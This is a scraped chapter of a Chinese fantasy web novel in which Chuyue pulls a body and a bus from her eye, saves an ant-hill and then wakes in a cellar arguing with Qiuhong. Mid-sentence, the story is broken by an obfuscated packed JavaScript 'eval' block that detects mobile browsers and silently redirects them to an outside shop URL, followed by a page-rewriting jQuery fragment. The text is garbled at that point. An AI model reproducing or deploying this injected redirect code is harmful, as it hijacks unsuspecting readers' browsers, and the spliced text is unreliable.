110. 蚁后归巢(六)
作品:《我燃烧的理由》 高松华透过浓密的黑雾,模模糊糊地看着初月那纯黑的眼珠。
他移过眼来,一脚踩在刚被召来的何黎黎脊背上,问:“初月眼睛里寄生的,是什么东西?”
何黎黎脸贴着地,脊背上的重压逼得她呼吸不畅,她脑子里百转千回,却怎么也编不出一个答案来。
“回统领,属下……属下不知……”
“你带她过来的!你不知道!?你那蠢男人的死法还没给你教训吗?!”
高松华暴怒,将他对初月的恐惧和愤怒发泄在了何黎黎身上。
何黎黎话未说完、未合上的嘴一下子啃进了泥里。
“属下……属下不敢……”
何黎黎嘴里含着苦泥,不敢轻易断了话头,只能将她和初月秋鸿在暮墙外重逢的场面,一股脑儿的全说给高松华听。
她语速极快,话锋极密,生怕自己一个停顿,就给了统领杀死自己的间隙。
“暮墙……”
何黎黎听见高松华捕捉到这个信息,于是眼力极快地补充细节。
“是的,我和贾沐晨最开始是接到郁金的消息,说他们二人马上要从梦世界边缘出来,让我们去逮……”
“说重点!”
“是!是……他们二人是从暮墙里出来的……”
高松华脚上加重了力气,喝到:“别胡诌!一入暮墙等于鬼打墙,怎么可能有人从暮墙里活着出来?”
何黎黎忙补充:“不是活着出来,是他们赶巧,暮墙刚好散去了,不然他们也没那好运气……”
“散去了?”高松华掐指一算,眼神突然惊惧无常,“暮墙三年一小闭,五年一大闭,到现在不过是第二年而已……”
何黎黎感觉到背上的重压轻了一些,她抬起脸来,读懂了高松华眼里的未说完的话……
“初月主人眼里寄居的……”
“是暮墙。”
“是暮墙。”
初月勾着眼角陌生的手指,嘴角溢出了了然的笑。
她清晰地感觉到,从她眼角钻出来的手指,正在细腻眷恋地摩挲着她的食指。
这种触碰,是熟悉的老朋友的感觉。
如果没猜错的话,初月确认,这是断臂的手指。
是她从暮墙里带出来的,老朋友的手指。
而暮墙,就在她体内。
呼吸之间,初月顿感胜券在握。
她用力地眨了眨眼睛,抽出蛇鞭,横放在嘴边,死死咬住。
然后猝不及防的,她食指一松,换为五指齐上,仅仅捏住眼角边的那根指头。
接着毫无停顿的,蓄力往外一拉……
……
初月的另一只手捂住了自己的耳朵。
破碎的尖叫声太刺耳,兜里休眠许久的残耳像被千万根针刺醒,“嗖”的一声跳上了她的脖颈,缩成一团钻进了她的耳道,可堵不住初月发出的惊叫声……
她像一个被拆开了的布娃娃,布面撕裂,棉絮扯了一地,大大的眼睛怎么也合不上……
不属于布娃娃该有的液体不住地从撕裂的眼角滚滚流下。
浸湿了一地……
湿哒哒的岩洞里,借着实验室硕的大灯光,蓄起的小水池反射出那个手指的主人。
初月手握着他的食指,断臂紧跟其上。
目光上移,乌青的香肠嘴惊成一个“O”型。
凌晓呆立在初月对面,佝偻着高大的身体,适应这逼仄的空间。
他不明白自己是怎么来到这里的。
不明白自己怎么会和初月手拉着手,像是在自己无意识之下,已经和对方“和解”。
初月破棉絮一般的脸上想要挤出一个微笑,向这个恨她妒她害她的“老朋友”解释缘由。
但她实在是多虑了,现实会替她解释一切。
一条长长的舌头卷上了凌晓的手臂,舌根连接的,是初月的眼睑深处……
如同亲眼见证恶魔诞生一般,凌晓眼见着对面这个眼珠混黑,眼角长舌头的怪物老熟人初月,从她的眼睛里,生出了一个长方体出来。
那是他的巴士。
他的老伙计,黎明巴士,昭示了凌晓的来历。
他和它一样,从初月的眼睛里,获得了第二次生命。
岩洞的空间太狭小,容得下一个初月,容的下一个凌晓,可容不下黎明巴士这个大物件。
初月和断臂勾着的手指被挤开,凌晓被迫环抱着他的巴士,节节后退,直至退至岩洞边缘,一步也没能迟疑地仰面掉下。
凌晓最后看到的是初月那只血窟窿一般的眼睛。
恐怖如斯。
随后便是亮如白昼的实验室大灯,和紧跟着他坠落的巴士。
他没有看到,他的巴士,只被分娩了一半。
于是,初月这个怀着一群异物的母亲,还未切断与“子女”的脐带链接,就这么被带着,拽入了急速下坠的半空中。
而她的身后,传来岩石破碎的轰鸣声……
不好!
在空中继续分娩的初月一下子意识到,蚁山就要崩塌了,她躲在蚁山内部——地坑中的孩子,朋友的遗孤,即将面临灭顶之灾……
“不!”
她惊呼,脑中急速复盘:此时,在万事万物都在下坠的瞬间,还有谁,能救那个孩子……
“断臂!”
她无人可求,便下意识地呼唤那个从不曾背叛过她的残肢朋友。
“守住蚁山!”
可她的断臂朋友,早已先她一步,坠入了蚁山脚下。
初月向一个无能为力的朋友,下达了无法完成的任务。
意识到这一点的初月,无能的闭上了她血窟窿一样的眼睛。
她身如洪钟笨重,可眼角那丝黑雾却如光斑一样轻盈。
它听见了初月的声音。
刹那间,弥散在蚁山缝隙里、岩洞里、初月身体里的墓墙黑雾一下子聚集起来,如同在青河边驻扎一般,将营地改在了蚁山上。
黑烟上浮下沉,将蚁山紧紧裹在中间。
而那埋头钻眼的半透明丝线,纷纷在黑雾中爆开。
漫山的暗色缥缈中,一簇簇晶莹的水花炸开,引线一般顺着山间“燃”至山脚,坚实的大地上,眨眼间便蓄齐了半人高的水池。
那是大半个实验室里蚕丝蛛线的尸体。
随着高松华一声拖长音的抱憾惋惜,初月和她新生的两个“孩子”一齐跌落在丝线水池里,溅起了一波又一波荡漾的水花。
松垮的眼皮睁开,初月满意的看着被暮墙黑雾包裹住的蚁山,她如释重负。
小棠暂时保住了。
耳边传来一阵接一阵的水波声,一双白色的皮鞋踏着水花走来。
初月的眼珠在宽阔松弛的眼眶里转动,透过水波,她对上了银烛那双欲言又止的眼睛。
初月笑了,释然心定的笑了。
她记得银烛方才对她的暗示,好在,她们仍是主仆一心。
是时候该歇一歇了。
在这样的安定里,初月放心的闭上了眼睛。
再次睁开眼时,初月发现自己身处一个全黑的环境,四周看不到一点光。
只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737225|176095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有四周弥漫着一股醇厚而绵长的气息,像是一坛发酵许久的酒,在散发出绵长的香。
初月摸索着四周,空旷无杂物。
随即她又摸索着自己的身体,完好无损伤。
而那一只被撕扯得无限大的眼皮,似乎有人用针线将其缝合了起来,初月在眼角的位置,摸到了一个粗糙的死结。
初月记得,自己坠下蚁山之后,是银烛第一个抢上来救她的。
于是她站起来,小声地喊:“银烛……银烛!”
“别喊了,就是银烛把你扔下来的。”
远处的角落里,突然有人打断了她的呼唤。
是秋鸿的声音。
若不是他突然说话,初月此时仍是混沌状态。
初月尽管对他千百个不乐意,恨他一而再再而三的欺骗自己,为了他10230号梦世界的梦主女朋友,为了能维持那个世界的运转,多次将初月的情欲当做玩具戏弄,初月对他的嫌恶可谓是到了顶峰。
可如今二人同是被困在这不见五指的地方,初月只好先将二人的恩怨搁置一旁。
“你怎么也在这里。”
“这里是蚕室后面的地窖,高松华用来关押犯人的地方。”
秋鸿声音冷冷的,像是独自一人在这里度过了千百个日日夜夜一般,语气里有股淡淡的死意。
接着他语气不善,酸溜溜地说:“我们的主人初月,怎么也被关在了这个下等人才该呆的地方?”
秋鸿就算再满不在乎,也不会忘记,他被拖入地窖时,初月头也不回地走在人群的簇拥下,去巡视她们嘴里的“能源工厂”。
那个决绝的背影,将秋鸿对初月那份小心翼翼的卑微爱意,击得粉碎。
初月反唇相讥:“哦,你的主人呢?躲在哪个犄角旮旯里等待自己的梦世界复活呢?让自己的亲妈留守在方寸大小的10230号梦世界里,让男朋友四处当鸭伺候主子给自己挣情绪值,她倒是真的很会物尽其用啊……”
初月想起在玻璃宫里,自己沉湎在他手下、唇齿间的失控样子,就犯恶心,天知道一向把男人哄得团团转的她,是怎样落入了秋鸿的温柔乡里。
于是她嘴上更是不落下风,趁对方迷茫的时刻,再一记重锤落下:“不过,话又说回来,你伺候人的水平挺不错,我也算是享受到了,不愧是专业……”
“你住口!”
秋鸿顺着声音一个飞身将她扑下。
现在他总算是明白了,初月对他的敌意是从何而来的了。
原来,她以为,他骗了她。
可是,除了他的身份外,秋鸿没有半点虚言。
甚至他的真实身份,他也在真真假假之间,透露了个大半。
只是,有些更隐秘的,他不能说,不敢说,也无法宣之于口。
他甚至无法面对最真实的那个自己,他让他无法自视。
“你……你的脸?”
秋鸿捂着初月的嘴角,手指却触到了一块触感奇怪的皮肤。
不像脸颊那样干燥细润,而是湿漉漉的,像有一层水铺在上面。
初月被银烛扔下地窖的时候,秋鸿坐在地窖深处的角落里,迎着地窖口掀开时透进来的强光,他只看见了银烛那标志性的制服,和银烛身体阴影下,那个模糊又熟悉的身影。
秋鸿没有看见初月被撕开的眼睛。
他只是以为,手下的触感,是初月脸上肌肤受人剜割,留下的血痕。
他不知道他们分离的这短短的几个小时里,初月经历了怎样的煎熬。
“高松华对你做什么了?”

